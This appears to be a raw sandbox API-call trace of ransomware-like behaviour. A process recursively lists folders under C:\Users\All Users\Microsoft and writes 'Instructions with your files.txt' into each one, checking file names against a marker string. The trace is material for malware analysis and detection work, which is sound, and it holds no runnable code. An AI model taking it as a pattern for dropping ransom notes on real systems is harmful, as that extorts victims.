[0131.836] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.837] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.837] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.837] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.837] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.837] CloseHandle (hObject=0x110) returned 1
[0131.837] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.837] GetProcessHeap () returned 0x810000
[0131.837] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.837] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb1689720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1689720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSDN", cAlternateFileName="")) returned 1
[0131.837] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN") returned 37
[0131.837] GetProcessHeap () returned 0x810000
[0131.837] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.837] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\*") returned 39
[0131.837] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb1689720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1689720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.838] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\.") returned 39
[0131.838] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb1689720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1689720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.838] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\..") returned 40
[0131.838] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb1689720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1689720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.0", cAlternateFileName="")) returned 1
[0131.838] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned 41
[0131.838] GetProcessHeap () returned 0x810000
[0131.838] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.838] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*") returned 43
[0131.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb1689720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1689720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.838] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\.") returned 43
[0131.838] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb1689720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1689720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.838] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\..") returned 44
[0131.838] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1689720, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1689720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1689720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.838] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Instructions with your files.txt") returned 74
[0131.838] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.838] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1689720, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1689720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1689720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.838] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Instructions with your files.txt") returned 74
[0131.838] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\msdn\\8.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.838] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.839] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.839] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.839] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.839] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.840] CloseHandle (hObject=0x114) returned 1
[0131.840] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.840] GetProcessHeap () returned 0x810000
[0131.840] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.840] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1689720, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1689720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1689720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.840] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\Instructions with your files.txt") returned 70
[0131.840] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.840] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1689720, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1689720, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1689720, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.840] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\Instructions with your files.txt") returned 70
[0131.840] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\MSDN\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\msdn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.840] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.841] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.841] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.841] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.841] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.841] CloseHandle (hObject=0x110) returned 1
[0131.841] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.841] GetProcessHeap () returned 0x810000
[0131.841] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.841] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1
[0131.841] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework") returned 45
[0131.841] GetProcessHeap () returned 0x810000
[0131.842] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.842] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\*") returned 47
[0131.842] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.842] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\.") returned 47
[0131.842] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.842] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\..") returned 48
[0131.842] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1
[0131.842] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned 61
[0131.842] GetProcessHeap () returned 0x810000
[0131.842] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.842] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned 63
[0131.842] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.842] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\.") returned 63
[0131.842] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x56ac2f60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.842] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\..") returned 64
[0131.842] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb16af880, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.842] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Instructions with your files.txt") returned 94
[0131.842] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.842] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb16af880, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.842] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Instructions with your files.txt") returned 94
[0131.842] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.843] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.843] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.843] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.844] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.844] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.844] CloseHandle (hObject=0x114) returned 1
[0131.844] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.844] GetProcessHeap () returned 0x810000
[0131.844] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.844] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb16af880, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.844] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\Instructions with your files.txt") returned 78
[0131.844] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.844] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb16af880, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb16af880, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb16af880, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.844] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\Instructions with your files.txt") returned 78
[0131.844] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\NetFramework\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\netframework\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.844] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.845] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.845] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.845] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.845] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.845] CloseHandle (hObject=0x110) returned 1
[0131.845] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.846] GetProcessHeap () returned 0x810000
[0131.846] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
